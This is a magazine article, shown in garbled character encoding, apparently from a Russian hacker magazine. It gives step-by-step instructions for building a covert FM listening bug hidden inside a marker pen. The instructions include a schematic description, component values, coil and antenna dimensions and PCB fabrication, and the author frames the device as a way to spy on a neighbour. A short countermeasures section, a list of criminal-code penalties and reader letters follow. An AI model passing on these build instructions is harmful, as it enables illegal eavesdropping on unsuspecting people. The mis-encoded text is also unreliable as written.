êàê ôàçîâàÿ ìîäóëÿöèÿ. Íó à ïåðåäà-
þùèå íà ýòèõ ÷àñòîòàõ ïåðåäàò÷èêè
ðàáîòàþò ñ ÷àñòîòíîé ìîäóëÿöèåé -
×Ì, ÷åìó è âòîðèò àááðåâèàòóðà àíã-
ëèéñêàÿ "FM" - Frequency Modulation.
Âîò ýòà ïóòàíèöà ìåæäó "ÔÌ ðóñ-
ñêîé" è "FM àíãëèéñêîé" è ïîðîæäàåò
âîëíû ëàìåðèçìà. Ëþäè ïóòàþò ýëå-
ìåíòàðíûå ïîíÿòèÿ. Ëåãêî óñâîèòü,
÷òî ïðè ÷àñòîòíîé ìîäóëÿöèè ìåíÿåò-
ñÿ ÷àñòîòà íåñóùåé, à ïðè ìîäóëÿöèè
ôàçîâîé - ôàçà ñèãíàëà íà âûõîäå.
Ïîëîæà ðóêó íà ñåðäöå, ñëåäóåò ïðèç-
íàòü, ÷òî ïðàêòè÷åñêîãî çíà÷åíèÿ ýòî
ðàçëè÷èå íå èìååò, òàê êàê âñå ôàçî-
âûå äåòåêòîðû (âåùü, îáðàòíàÿ ïî
äåéñòâèþ ìîäóëÿòîðó) ìîãóò âïîëíå
ñïîêîéíî ïåðåâàðèòü ÷àñòîòíî-ìîäó-
ëèðîâàííûé ñèãíàë. Êîíå÷íî, î âûñî-
êîì êà÷åñòâå ïîëó÷åííîãî ïîñëå äå-
ìîäóëÿöèè ñèãíàëà ðå÷ü íèêòî íå âå-
äåò, íî âñå æ... Áîëåå òîãî, ïðè îäíî-
÷àñòîòíîé ñîñòàâëÿþùåé (ìîíîòîí-
íûé ñèãíàë òî åñòü) ñèãíàëà îòëè÷èòü
ìîäóëÿöèþ ×Ì îò ÔÌ ïðàêòè÷åñêè íå

âîçìîæíî, êàê òåõíè÷åñêè, òàê è íà
ñëóõ.

Äàâàé âçãëÿíåì íà ðèñ. 2. Òàê êàê î
ÔÌ áîëüøå íè÷åãî ðàññêàçûâàòü íå
áóäó, òî ðå÷ü äàëüøå ïîéäåò òîëüêî î
×Ì (÷òîáû òåáÿ âêîíåö íå çàïóòàòü).
Â ñëó÷àå ×Ì ñèãíàëà ñìåñèòåëÿ êàê
òàêîâîãî, â ïðèíöèïå, âîîáùå íåò, òàê
êàê ïðè ýòîì ñïîñîáå ìîäóëÿöèè êî-
íå÷íûé ñèãíàë îáðàçóåòñÿ ïóòåì èç-
ìåíåíèÿ ÷àñòîòû ïåðåäàò÷èêà â òàêò ñ
ðå÷åâûì ñèãíàëîì. Íî åñëè ñèãíàë áó-
äåò ôîðìèðîâàòüñÿ íà ðàáî÷åé ÷àñòî-
òå, òî ïåðåäàò÷èê áóäåò ðàáîòàòü íå-
êà÷åñòâåííî (åãî ñèãíàë áóäåò "ãó-
ëÿòü" ïî äèàïàçîíó â çàâèñèìîñòè îò
ïîãîäû è íàïðàâëåíèÿ âåòðà). Äàáû
ñíèçèòü óõîä ñ ðàáî÷åé ÷àñòîòû (ýòî
íàçûâàåòñÿ äåâèàöèåé), ïðèäóìàëè
óìíîæèòåëè ÷àñòîòû. Êàê ïðàâèëî,
äëÿ êó÷è îíè åùå è óñèëèòåëè.

Âñå ñêàçàííîå âûøå êàñàåòñÿ êàê
áàãîâ, òàê è âïîëíå îáû÷íûõ ïåðåäàò-
÷èêîâ. Îäíàêî ìû íå ðàññìîòðåëè
åùå äâà óçëà, êîòîðûå õàðàêòåðíû

òîëüêî äëÿ Ñïåöèàëèçèðîâàííûõ Óñò-
ðîéñòâ Êîíòðîëÿ, òî åñòü áàãîâ. Ïðî
óñòðîéñòâà çàïèñè, äóìàþ, ìíîãî ãîâî-
ðèòü íå íàäî, - äîñòàòî÷íî ñêàçàòü,
÷òî îíè íåîáÿçàòåëüíî ìîãóò èñïîëü-
çîâàòü ìàãíèòíûé íîñèòåëü. Â áëîê
óñòðîéñòâà óïðàâëåíèÿ îáû÷íî âõî-
äèò äåêîäåð, êîòîðûé òîëüêî è äåëàåò,
÷òî, ïîëó÷àÿ (êàê ïðàâèëî äèñòàíöè-
îííî èëè VOX) ñèãíàë, âêëþ÷àåò/âûê-
ëþ÷àåò áàã. Èñòî÷íèê ïèòàíèÿ æå êàê
òàêîâîé (òî åñòü êîòîðûé ìîæíî áûëî
áû ïîùóïàòü, íàïðèìåð, àêêóìóëÿòîð
èëè ðîçåòêà îñâåòèòåëüíîé ñåòè) ìî-
æåò âîîáùå îòñóòñòâîâàòü. Îäíàêî
ýòî íå çíà÷èò, ÷òî áàã ðàáîòàåò âîîá-
ùå áåç ïèòàíèÿ. Ïðîñòî óñòðîéñòâà
òàêîãî òèïà èñïîëüçóþò â êà÷åñòâå
èñòî÷íèêà ïèòàíèÿ ýíåðãèþ ýëåêòðè-
÷åñêîãî ïîëÿ, êîòîðîå â âèäå ïîìåõ
ïðèñóòñòâóåò âåçäå, ãäå íàñëåäèëà èí-
äóñòðèàëèçàöèÿ. Õîòåëîñü áû äîáà-
âèòü, ÷òî òàêèå áàãè, êàê ïðàâèëî, íå
èìåþò íèêàêîãî ñåðâèñà è äàëüíîñòü
äåéñòâèÿ èõ îãðàíè÷åíà äåñÿòêîì-äðó-
ãèì ìåòðîâ.

ÐÓÊÎÁËÓÄÈÌ
Íó âîò, ñ òåîðåòè÷åñêèì "ðàçáî-

ðîì ïîëåòîâ" ïîêîí÷åíî. Åñëè ÿ ÷òî è
çàáûë, òî ïî õîäó äåëà äîáàâëþ. Íå
íóæíî èìåòü ýâðèñòèê Êàñïåðñêîãî,
÷òîáû äîãàäàòüñÿ, ÷òî ïîä "äåëîì"
ñêðûâàåòñÿ èçãîòîâëåíèå áàãà. À âîò,
êñòàòè, è îí - íà ðèñ. 3.

Æåñòÿíùèêàì, íå èñêóøåííûì â ðà-
äèîòåõíèêå, ýòî äîëæíî íàïîìíèòü
÷òî-òî äî áîëè çíàêîìîå. À èìåííî
êëàññè÷åñêóþ ñõåìó ïîä íàçâàíèåì
"ñèììåòðè÷íûé ìóëüòèâèáðàòîð".
Ïðàâäà, îò êëàññèêè åå âñå-òàêè îòëè-
÷àþò ââåäåííûå äîïîëíèòåëüíûå
êîìïîíåíòû. Òàê êàê ó íàñ ãåíåðàòîð
ðàáîòàåò íà ÓëüòðàÊîðîòêèõ Âîëíàõ
(ÓÊÂ) èëè íà ÑâåðõÂûñîêèõ ×àñòîòàõ
(ÑÂ×) (êîìó êàê íðàâèòñÿ), òî ðåçèñòî-
ðàìè ðàáî÷óþ òî÷êó è ðàáî÷óþ ÷àñòî-
òó óæå íå çàäàòü. Äëÿ ýòèõ öåëåé èõ
çàìåíèëè íà êàòóøêè èíäóêòèâíîñòè
L1 è L2, íó à ñàì ãåíåðàòîð ïîëó÷èë
íèê "ñèììåòðè÷íûé ñ èíäóêòèâíîé
íàãðóçêîé". ×Ì-ñèãíàë ïîëó÷àåòñÿ
ïðè ðàçãîâîðå â ìèêðîôîí BM1. Îäíà-
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Ðèñ. 3. Ñõåìà áàãà
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Ðåòðàíñëÿòîðû èñïîëüçóþòñÿ òîëüêî
â ñëó÷àå çíà÷èòåëüíîãî óäàëåíèÿ îò

îáúåêòà ïðîñëóøêè.
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HARD

êî, åñëè îñòàâèòü òîëüêî ãåíåðàòîð è
ìèêðîôîí, ïîëó÷åííîå óñòðîéñòâî,
êîíå÷íî, ðàáîòàòü áóäåò, íî âîò êàê...
Äëÿ òîãî ÷òîáû îíî ðàáîòàëî ïðà-
âèëüíî, ê ãåíåðàòîðó ïðèäåëàí êîí-
äåíñàòîð Ñ1. Îí íåîáõîäèì äëÿ òîãî,
÷òîáû "îñåäëàòü" ñëèøêîì ðåçâûé ãå-
íåðàòîð, äàáû äåâèàöèÿ ÷àñòîòû íà-
õîäèëàñü â äîïóñòèìûõ ÃÎÑÒ ïðåäå-
ëàõ (êñòàòè, äëÿ îòå÷åñòâåííûõ ÃÎÑÒ
äåâèàöèÿ ðàâíà 50 ÊÃö, äëÿ ñòàíäàð-
òîâ ISO - 75 ÊÃö). Ñîîòâåòñòâåííî, è
ïðèåìíèê äîëæåí ðàáîòàòü â ðàìêàõ
ÃÎÑÒ/ISO. Â ïðèíöèïå, âñå ñîâðåìåí-
íûå ïðèåìíèêè îðèåíòèðîâàíû íà äè-
àïàçîí 88-108 ÌÃö (à íàø áàã ðàáî-
òàåò èìåííî â ýòîì äèàïàçîíå), à ýòî
çíà÷èò, ÷òî îíè ñîîòâåòñòâóþò ñïåöè-
ôèêàöèè ISO. Óäèâëÿòüñÿ íå íóæíî,
òàê êàê âñå ðàäèîñòàíöèè, ðàáîòàþ-
ùèå â ýòîì äèàïàçîíå, êàê ïðàâèëî,
çàðóáåæíîãî ïðîèçâîäñòâà, à íà ïðè-
ëàâêàõ ìàãàçèíîâ ëåæèò òîò æå çàáó-
ãîðíûé øèðïîòðåá. Îòå÷åñòâåííûì
ïðîèçâîäèòåëÿì, äàáû õîòü êàê-òî âû-
æèòü, ïðîñòî ïðèõîäèòñÿ ïîäñòðàè-
âàòüñÿ ïîä ýòó èíòåðâåíöèþ. Íàìåê
ïîíÿë? Ìåíÿåøü åìêîñòü êîíäåíñàòî-
ðà Ñ1 íà 0.15 ìêÔ - íàø áàã íà÷èíàåò
äðóæèòü ñ îòå÷åñòâåííûì ïðèåìíè-
êîì, âûïîëíåííûì â ñîîòâåòñòâèè ñ
îòå÷åñòâåííûì ÃÎÑÒ (íàïðèìåð, ïðè-
åìíèêè, ïðîèçâîäèìûå çàâîäîì ÃÓÏ
ÏÎ "Îêòÿáðü" ñîîòâåòñòâóþò). Äëÿ íå-
îáõîäèìîãî ìèíèìóìà äåòàëåé äîñòà-
òî÷íî. Òîãäà ÷òî äåëàþò â ñõåìå êîí-
äåíñàòîð Ñ2 è àíòåííà WA1? Äåëî â
òîì, ÷òî ïðè îòñóòñòâèè ýòèõ ýëåìåí-

òîâ ðàäèóñ ïåðåäà÷è íàøåãî æóêà áó-
äåò îãðàíè÷åí äåñÿòêîì ìåòðîâ (êàê
ðàç, ÷òîáû ïåðåäàòü íà ïðèåìíèê, ñòî-
ÿùèé â äðóãîé êîìíàòå, äà è òî ïðè óñ-
ëîâèè ÷òî ñòåíû íå èç æåëåçîáåòîíà.
À ïðè íàëè÷èè àíòåííû ðàäèóñ
äåéñòâèÿ çíà÷èòåëüíî ðàñøèðÿåòñÿ -
50-60 ì íà îòêðûòîé ìåñòíîñòè (õîòÿ
ýòî è îò ÷óâñòâèòåëüíîñòè ïðèåìíèêà
çàâèñèò). Êîíäåíñàòîð Ñ2 ñëóæèò äëÿ
ñîãëàñîâàíèÿ ñ àíòåííîé.

ÊÎÍÑÒÐÓÊÒÈÂ
Õîòÿ âñå âûøåïåðå÷èñëåííûå äå-

òàëè ïîêàçàíû íà ôîòîãðàôèÿõ, ïîç-
âîëü ïàðó áàéò î êîíñòðóêòèâíîì èñ-
ïîëíåíèè. Â êà÷åñòâå Ñ1 è Ñ2 ìíîþ áû-
ëè èñïîëüçîâàíû êîíäåðû ôèðìû
"ÒRÅÑ" åìêîñòüþ 0.1 ìêÔ è 1 ìêÔ ñî-
îòâåòñòâåííî, ïîòîìó êàê äðóãèõ (íàï-
ðèìåð, îòå÷åñòâåííûõ Ê10-17á íà òå æå
åìêîñòè) â ìàãàçèíå íå áûëî. Òðàíçèñ-
òîðû ìîãóò áûòü ëþáûìè âûñîêî÷àñ-
òîòíûìè ñ ãðàíè÷íîé ÷àñòîòîé íå ìå-
íåå 150 ÌÃö, ðàáî÷èì íàïðÿæåíèåì
íå íèæå 9 Â è êîîôèöèåíòîì ïåðåäà-
÷è òîêà íå ìåíåå 50. Òàêèì óñëîâèÿì
óäîâëåòâîðÿþò òðàíçèñòîðû ÊÒ315,
ÊÒ368 è òðàíçèñòîðû ñåðèè ÊÒ3117. ß
ìóäðèòü íå ñòàë è ïðèìåíèë ÊÒ315.

Êàê è â ïðîøëûé ðàç, â êà÷åñòâå
ìèêðîôîíà áûë èñïîëüçîâàí ÌÊÝ-3, à
åñëè åãî íåò, òî ìîæíî ïðèìåíèòü ìèê-
ðîôîíû òèïîâ Ì1-Á2 èëè "Ñîñíà" (à
òàêæå ëþáûå äðóãèå, èìåþùèå âñòðî-
åííûé óñèëèòåëü, îäíàêî çà ñîîòâåò-
ñòâèå ðàñïàéêå â ýòîì ñëó÷àå ÿ íå îò-
âå÷àþ). Îñîáîãî âíèìàíèÿ çàñëóæèâà-
þò êàòóøêè èíäóêòèâíîñòè, ïîñêîëüêó
îò èõ èçãîòîâëåíèÿ çàâèñèò ðàáî÷àÿ
÷àñòîòà íàñåêîìîãî. Îíè áåñêàðêàñ-
íûå, íàìîòàíû íà îïðàâêå äèàìåòðîì
2.5 ìì (ñòåðæåíü îò îáû÷íîé øàðèêî-
âîé ðó÷êè èëè õâîñòîâèê ñâåðëà). ×èñ-

ëî âèòêîâ - 15, äèàìåòð ïðîâîäà 0.3 ìì,
ìàðêà - ÏÝÂ. Êðóïíûì ïëàíîì îíè äà-
íû íà ðèñ. 6. Â êà÷åñòâå àíòåííû èñ-
ïîëüçóåòñÿ êóñîê ïðîâîäà äëèíîé 375
ìì, ÷òî ñîñòàâëÿåò 1/8 äëèíû âîëíû.
Ìîæíî ëè èñïîëüçîâàòü ïðîâîä ïðî-
èçâîëüíîé äëèíû? Êîíå÷íî æå, ìîæ-
íî, íî â ýòîì ñëó÷àå îíà áóäåò íàñòðî-
åíà íå â ðåçîíàíñ, à ýòî çíà÷èò, ÷òî íà
âûñîêèé ðàäèóñ äåéñòâèÿ ìîæíî íå
ðàññ÷èòûâàòü. Äàáû íå óâåëè÷èâàòü
ãàáàðèòû æóêà äî ñìåøíûõ ðàçìåðîâ,
ýòîò ïðîâîä íàìîòàí íà ñòåðæíå îò
ìàðêåðà (åãî äëèíà óêîðî÷åíà íà äëè-
íó ïå÷àòíîé ïëàòû + äëèíó áàòàðååê) â
íåñêîëüêî ñëîåâ. Èñòî÷íèêîì ïèòàíèÿ
ñëóæàò 4 áàòàðåéêè "òàáëåòêè" íà 2.5
Â. Ìåæäó ïðî÷èì, ìàðêåð èñïîëüçóåò-
ñÿ èñïðàâíûé, òåì ñàìûì ìû îäíèì
òàïêîì óáèâàåì äâóõ òàðàêàíîâ. 

Íà ðèñ. 9 è 10 ïîêàçàí âàðèàíò ðàñ-
ïîëîæåíèÿ êîìïîíåíòîâ íà ïå÷àòíîé
ïëàòå è ñîåäèíèòåëüíûõ äîðîæåê ñî-
îòâåòñòâåííî. Îíà áûëà èçãîòîâëåíà
ñïåöèàëüíî ïîä ïåðìàíåíòíûé ìàð-
êåð, êîòîðûé â íàøåì ñëó÷àå ñëóæèò
êîðïóñîì äëÿ áàãà è èìååò ðàçìåðû.
Èçãîòîâëåííûé ìíîþ îáðàçåö ïðåäñ-
òàâëåí íà ðèñ. 11. Òàì æå ïîêàçàí ñïî-
ñîá êðåïëåíèÿ áàòàðåé ïèòàíèÿ.

Â ïðîøëûé ðàç ÿ òåáå ðàññêàçàë î
ðó÷íîì ñïîñîáå èçãîòîâëåíèÿ ïå÷àò-
íûõ ïëàò. Ïðåäëàãàþ âàðèàíò âòîðîé,
"ïðîäâèíóòûé" è "ïîëóàâòîìàòè÷åñ-
êèé". Äëÿ ýòîãî òåáå ïîíàäîáèòñÿ ëà-
çåðíûé ïðèíòåð, ìàòîâàÿ ôîòîáóìàãà,
îáû÷íûé óòþã ñ òåðìîðåãóëÿòîðîì. Îò-
ðóáàåøü ðåæèì ýêîíîìèè òîíåðà è
ðàñïå÷àòûâàåøü ÷åðòåæè ïëàò â
ìàñøòàáå 1:1. Îáåçæèðèâàåøü, îáîðà-
÷èâàåøü çàãîòîâêó ÷åðòåæîì, óòþ-
æèøü, ñìîòðèøü, ñêîëüêî ïðîöåíòîâ
îñòàëîñü. Ïîâòîðÿåøü, ïîäáèðàÿ òåì-
ïåðàòóðó óòþãà äî òåõ ïîð, ïîêà ó òåáÿ
íå ñòàíåò ïîëó÷àòüñÿ ñ ïåðâîãî ðàçà
(â ñëåäóþùèé ðàç áóäåò ïðîùå, âåäü
òåìïåðàòóðó òû óæå çíàåøü). Òîíåð, â
ñîñòàâå êîòîðîãî íàõîäÿòñÿ ïîëèìåðû
(÷òî-òî âðîäå ïîëèïðîïèëåíà), äîëæåí
íàäåæíî ïðåäîõðàíèòü íóæíûå íàì
äîðîæêè îò äåéñòâèÿ õèìè÷åñêèõ ðåàê-
òèâîâ. Êñòàòè ñêàçàòü, åñëè áóìàãó
ñèëüíî íå ìÿòü è åñëè òîíåð ñîøåë
ïîëíîñòüþ, òî åå ìîæíî èñïîëüçîâàòü
åùå íå îäèí ðàç. Îñòàåòñÿ ïðîñâåð-
ëèòü îòâåðñòèÿ ïî íàòðàâëåííûì ìåò-
êàì è ðàñïàÿòü êîìïîíåíòû. Ïðîâåðèâ
îòñóòñòâèå êîðîòêîãî çàìûêàíèÿ ïî
öåïÿì ïèòàíèÿ, ìîæíî ïîäàòü íàïðÿ-
æåíèå ïèòàíèÿ. Îíî, êñòàòè, â øòàòíîì
ðåæèìå ñîñòàâëÿåò 9 Â, íî óñòðîéñòâî
ñîõðàíÿåò ðàáîòîñïîñîáíîñòü ïðè ñíè-
æåíèè ïèòàíèÿ äî 1.5-2 Â. Ïðè ýòîì,
ïðàâäà, ìåíÿåòñÿ ðàáî÷àÿ ÷àñòîòà è
íåñêîëüêî óìåíüøàåòñÿ ðàäèóñ ïåðå-
äà÷è. Äóìàþ, âèä óòþãà òåáÿ íå ïðèêî-
ëåò, ïîýòîìó åãî ôîòî ÿ íå äàþ.

Íî îäíîãî æóêà äëÿ ñëåæåíèÿ çà ñî-
ñåäîì íåäîñòàòî÷íî - òåáå íåîáõîäèì
ïðèåìíèê. Êàê ÿ ãîâîðèë âûøå, â êà÷å-
ñòâå ïðèåìíèêà ìîæåò áûòü èñïîëüçî-
âàí ëþáîé ïðîìûøëåííûé ïðèåìíèê
íà äèàïàçîí 88-108 ÌÃö. Íî ñëîâî
"ëþáîé" íå ãàðàíòèðóåò ìàêñèìàëüíîé

Ðèñ. 5. Òðàíçèñòîðû ÊÒ315Ã

Ðèñ. 4. Êîíäåíñàòîðû Ñ1 è Ñ2

Ðèñ. 7. Ìèêðîôîí

Ðèñ. 8. Àíòåííà

Ðèñ. 6. Êàòóøêè
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äàëüíîñòè ñâÿçè è óâåðåííîãî ïðèåìà.
Â ÷àñòíîñòè, ñîâåðøåííî íå ïîäõîäÿò
ïðèåìíèêè, íå èìåþùèå ñèñòåìû àâòî-
ìàòè÷åñêîé ïîäñòðîéêè ÷àñòîòû (ÀÏ×).
Ïðèãîäíîñòü êîíêðåòíîé ìîäåëè ïðè-
åìíèêà ìîæíî óçíàòü, ïîñìîòðåâ åå
îïèñàíèå. È íå çàáûâàé: ÷åì áîëüøå
÷óâñòâèòåëüíîñòü (òî åñòü ÷åì ìåíüøå
ìêÂ), òåì áîëüøå çîíà ïðèåìà.

ÏÐÎÒÈÂÎßÄÈÅ ÄËß ÏÐÎÔÈ
Ëþáîå ñïåöèàëèçèðîâàííîå óñò-

ðîéñòâî êîíòðîëÿ èìååò ñâîé àíòèïîä.
Â íàøåì ñëó÷àå èõ ìîæåò áûòü äâà:
óñòðîéñòâî ïîñòàíîâêè ëîêàëüíîé ïî-
ìåõè è äåòåêòîð èçëó÷åíèé. Ïåðâîå
îòíîñèòñÿ ê ïàññèâíîé çàùèòå, âòîðîå
- ê àêòèâíîé. Êîíå÷íî, èõ ìîæíî èñ-
ïîëüçîâàòü è ðàçäåëüíî, íî ëó÷øå â
êîìïëåêñå, èáî êîìïëåêñíûå ìåðû -
ñàìûå äåéñòâåííûå. Ìåòîäèêà ïðîñòà:

â ñëó÷àå îáíàðóæåíèÿ äåòåêòîðîì ïî-
äîçðèòåëüíîãî èñòî÷íèêà ðàäèîèçëó-
÷åíèé (íî ïðè íåâîçìîæíîñòè óñòàíî-
âèòü åãî îäíîçíà÷íî òî÷íî ëèáî ïðè
íåâîçìîæíîñòè ëèêâèäèðîâàòü) ñòà-
âèòñÿ èñòî÷íèê ëîêàëüíîé ïîìåõè. Â
ïðîñòåéøåì ñëó÷àå äåòåêòîðîì ðàäè-
îèçëó÷åíèé ìîæåò ïîñëóæèòü óïðî-
ùåííûé ïðèåìíèê, â êîòîðîì îòñóò-
ñòâóþò ÷àñòîòíî-èçáèðàòåëüíûå öåïè
(êîëåáàòåëüíûé êîíòóð). Â êà÷åñòâå
èñòî÷íèêà ëîêàëüíîé ïîìåõè ìîæåò
ïîñëóæèòü òîò æå ïåðåäàò÷èê, ó êîòî-
ðîãî âìåñòî ìèêðîôîíà âêëþ÷åí ãå-
íåðàòîð çâóêîâîé ÷àñòîòû (åùå ëó÷-
øå èçìåíÿåìîé ïî ñëó÷àéíîìó çàêî-
íó). Íà äèñêå òû íàéäåøü ñõåìó ðàç-
ðàáîòàííîãî ìíîþ òàêîãî óñòðîéñòâà.
Òàê êàê òåìà äàííîé ñòàòüè - áàãè, à íå
ïðîòèâîÿäèå ê íèì, òî îïèñàíèÿ ðàáî-
òû è ÷åðòåæåé ïå÷àòíûõ ïëàò ÿ íå

äàþ. Õîòÿ, äóìàþ, ÷òî íåòðóäíî ïðî-
âåñòè àíàëîãèþ è äîãàäàòüñÿ ñàìîìó,
êàê îíî ðàáîòàåò. Òàì æå, íà äèñêå, òû
íàéäåøü ñõåìó äåòåêòîðà ðàäèîèçëó-
÷åíèé. Êñòàòè, íà åå àâòîðñòâî ÿ íå
ïðåòåíäóþ. Äàæå áîëüøå: ÿ ïîíÿòèå
íå èìåþ, êòî àâòîð, òàê êàê ñõåìà óæå
ëåò ïÿòü ãóëÿåò ïî ÔÈÄÎ è èíòåðíåòó
è ÿ óæå âèäåë êàê ìèíèìóì òðåõ "àâ-
òîðîâ", áèâøèõ ñåáÿ ïÿòêîé â ãðóäü è
óòâåðæäàâøèõ: "ýòî ìîå".

ÏÐÅÑÒÓÏËÅÍÈÅ È ÍÀÊÀÇÀÍÈÅ
Äóìàþ, íå ñòîèò äàâàòü èçëèøíèõ

êîììåíòàðèåâ ê ÓÊ ÐÔ, ïîýòîìó áóäó
êðàòîê:

Ñòàòüÿ 135. Íàðóøåíèå òàéíû ïåðå-
ïèñêè, òåëåôîííûõ ïåðåãîâîðîâ è òå-
ëåãðàôíûõ ñîîáùåíèé. Íàêàçûâàåòñÿ
èñïðàâèòåëüíûìè ðàáîòàìè íà ñðîê
äî 6 ìåñÿöåâ èëè øòðàôîì â ðàçìåðå
1 ìèíèìàëüíîé çàðïëàòû òðóäà (â ðå-
äàêöèè îò 1982 ãîäó ê âûøåïåðå÷èñ-
ëåííîìó äîáàâëÿëîñü åùå è îáùåñò-
âåííîå ïîðèöàíèå :-)).

Ñòàòüÿ 65. Øïèîíàæ. Ñðîê: îò 7 äî 15
ëåò, â îñîáûõ ñëó÷àÿõ - âûñøàÿ ìåðà
íàêàçàíèÿ, ñ êîíôèñêàöèåé èìóùåñòâà.

Ñòàòüÿ 76. Ïåðåäà÷à èíîñòðàííûì
îðãàíèçàöèÿì ñâåäåíèé, ñîñòàâëÿþ-
ùèõ ñëóæåáíóþ òàéíó. Äî òðåõ ëåò
ëèáî èñïðàâèòåëüíûå ðàáîòû íà ñðîê
äî 2 ëåò. Ïðè îñîáî òÿæêèõ îáñòîÿ-
òåëüñòâàõ - äî 8 ëåò ëèøåíèÿ ñâîáî-
äû. Â ýòîé æå ñòàòüå ïðîïèñàíî íàêà-
çàíèå çà ïðîìûøëåííûé øïèîíàæ -
äî îäíîãî ãîäà çàêëþ÷åíèÿ èëè
øòðàô â 200 ìèíèìàëüíûõ çàðïëàò.

Ñòàòüÿ 205. Ïîâðåæäåíèå ìîðñêîãî
òåëåãðàôíîãî êàáåëÿ. Íàêàçûâàåòñÿ
èñïðàâèòåëüíûìè ðàáîòàìè íà ñðîê
äî 3 ìåñÿöåâ èëè øòðàôîì â ðàçìåðå
1 ìèíèìàëüíîé çàðïëàòû òðóäà. Ïîâ-
ðåæäåíèå êàáåëÿ â ñîñòîÿíèè êðàé-
íåé íåîáõîäèìîñòè èñêëþ÷àåò óãîëîâ-
íóþ îòâåòñòâåííîñòü.

À åñëè ïðîòèâ òåáÿ âåäóò "òåìíûå
äåëèøêè"?

Ñòàòüÿ 170. Çëîóïîòðåáëåíèå
âëàñòüþ èëè ñëóæåáíûì ïîëîæåíèåì.
Îò óâîëüíåíèÿ äî 8 ëåò ëèøåíèÿ ñâî-
áîäû. Ïðè ýòîì ìîæíî â êà÷åñòâå
îòÿã÷àþùåãî îáñòîÿòåëüñòâà ìîæíî
ïîäâåñòè ëþáîå íàðóøåíèå èç öåëûõ
13 ñòàòåé ÓÏÊ ÐÔ (òå, ÷òî êàñàþòñÿ
ìåõàíèçìîâ îñóùåñòâëåíèÿ îïåðàòèâ-
íî-ðîçûñêíîé äåÿòåëüíîñòè).

Ïîìíè ýòî, áåðåãè ìàìó è íè â êîåì
ñëó÷àå íå òðîãàé ìîðñêîé òåëåãðàô-
íûé êàáåëü! Íó, åñëè òîëüêî ñîâñåì
ïðèñïè÷èò :). E

Ðèñ. 10. Âèä íà ïðîâîäíèêè

Ðèñ. 9. Âèä íà ìîíòàæ

Ðèñ. 11. Èòîãî
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Íà ïèñüìà îòâå÷àë Dr. Klouniz

Å-ÌÛËÎ
(spec@real.xakep.ru)

FROM: ØÂÅÄÎÂ ÄÅÍÈÑ ÍÈÊÎËÀÅÂÈ÷ [SHADOW1972@BK.RU]
SUBJECT: ß ÎÁÎÇËÈËÑß

À çäðàâñòâóéòå.
Êóïèë òóò "Õàêåð Ñïåö" ¹ 9. Ïîâåëñÿ íà ïðèêîëüíóþ òåìó "Íàñòðîéêà è ðàçãîí...". Íó, åñòü ïàðà ìóäðûõ ìûñëåé â òåêñòîâîì ôîðìàòå. À âåäü

ê äèñêó âàøà ãðîìêàÿ ðåöåíçèÿ "ÊÓ×À ñîôòà äëÿ òþíèíãà òâîåãî ÏÊ". Íó è ãäå æå îíî âñå? Òàêæå êóïèë "Æåëåçî" çà àâãóñò ìåñÿö. Âñå
çàìå÷àòåëüíî, òîëüêî îáîëî÷êà äèñêà íó ñîâñåì íå ðàáîòàåò. Âû ÷òî, âñå ëåòî ïèâî êâàñèëè? Âñå, óéäó îò âàñ ê äðóãèì èçäàòåëÿì :(.

ÎÒÂÅÒ:
À ïðèâåò! Çà ìóäðûå ìûñëè ñïàñèáî, ïðèçíàòüñÿ, ó íàñ îíè ïðîñòî êîëîííàìè â ãîëîâàõ áðîäÿò, è ïî÷òè âñå � ýðîòè÷åñ-

êîãî ñîäåðæàíèÿ. Çà «Æåëåçî» ìû íå îòâå÷àåì, ïîñêîëüêó íó ñîâñåì íè ïðè÷åì. À ïèâî - äà, êâàñèëè, íî è òóò ìû íè
ïðè÷åì: áûëî íàïèñàíî, ÷òî îíî áåçàëêîãîëüíîå :(. Òàê ÷òî, Äåíèñ Íèêîëàè÷, íå óõîäè îò íàñ, íå ðàçâîäèñü è íå ñòàâü
êàêòóñ ìåæäó êðîâàòÿìè! Äàâàéòå, äîðîãèå ÷èòàòåëè, ïèñàòü â ôîðóìå íà forum.xakep.ru èëè ïî ïî÷òå íà
spec@real.xakep.ru, ×ÒÎ ÈÌÅÍÍÎ âàì íå äîñòàëîñü íà íàøåì äèñêå, è íà î÷åðåäíîé êîìïàêò ìû çàææåì âñå, ÷åãî âàøà
äóøà ïîæåëàåò. 

»

FROM: ÀÑÓÑ [ASUS@STARLINK.RU]
SUBJECT: ÏÐÈÂÅÒ

Íàðîä, õî÷åòñÿ ó âàñ ñïðîñèòü: êàêîãî ÕÕÕ âû íàïèñàëè òàêóþ õîðîøóþ ñòàòüþ ïðî ñåòü StarLink Telecom? Íà ñàìîì äåëå ýòà ñåòü íå ñòîèò òîãî,
÷òî î íåé ïèøóò. Ïîñòîÿííûå ñáîè, âå÷íî ïüÿíûå ìîíòàæíèêè, êàæäûé äåíü êðàæè îáîðóäîâàíèÿ, õàìñêèå è çàæðàâøèåñÿ àäìèíû, âûñîêèå òàðè-

ôû, î÷åíü ïëîõàÿ ïîääåðæêà ïî òåëåôîíó... Òóò öåëóþ ñòàòüþ íàäî íàïèñàòü, íàäî âûâîäèòü èõ íà ÷èñòóþ âîäó, õî÷ó íàïèñàòü ñòàòüþ ïðî íèõ, íî òàêæå
è õî÷ó, ÷òîáû âû îïóáëèêîâàëè åå â ñâîåì æóðíàëå. À æóðíàë Âàø î÷åíü êëàññíûé, îñîáåííî ðàçäåë "Çàïàäëîñòðîåíèå". Ó ìîèõ ñîñåäåé óæå ïî íî÷àì
íà÷èíàåòñÿ ïàðàíîéÿ. Â îáùåì, íàïèñàòü âàì ñòàòüþ î ïðàâäå StarLink Telecom?

ÎÒÂÅÒ:
Ìû ïèñàëè? Íå ïîìíþ òàêîãî. Ðàçâå ÷òî â íîìåðå, ïîñâÿùåííîì òîìó, êàê ñàìîìó ñòàòü ëîêàëüíûì ïðîâàéäåðîì, Àíäðþ-

øà ó íèõ èíòåðâüþ áðàë. Îíè æå, ñîîòâåòñòâåííî, è ñòàòüè åìó ïèñàëè, à, êàê ãîâîðèòñÿ, ñàì ñåáÿ íå ïîõâàëèøü, ñèäèøü
êàê îïëåâàííûé :). Ïðî èõ ãëóáîêèå ëè÷íûå êà÷åñòâà çíàòü íè÷åãî íå õîòèì, ïîòîìó ÷òî èìååò çíà÷åíèå òîëüêî êà÷åñòâî èõ
ñòàòåé, à â íèõ îíè íå ïðîïàãàíäèðîâàëè êðàæó îáîðóäîâàíèÿ, ðàçáîé, ðàçæèãàíèå ðîçíè è ñæèãàíèå ìîëíèÿìè õàáîâ è ñå-
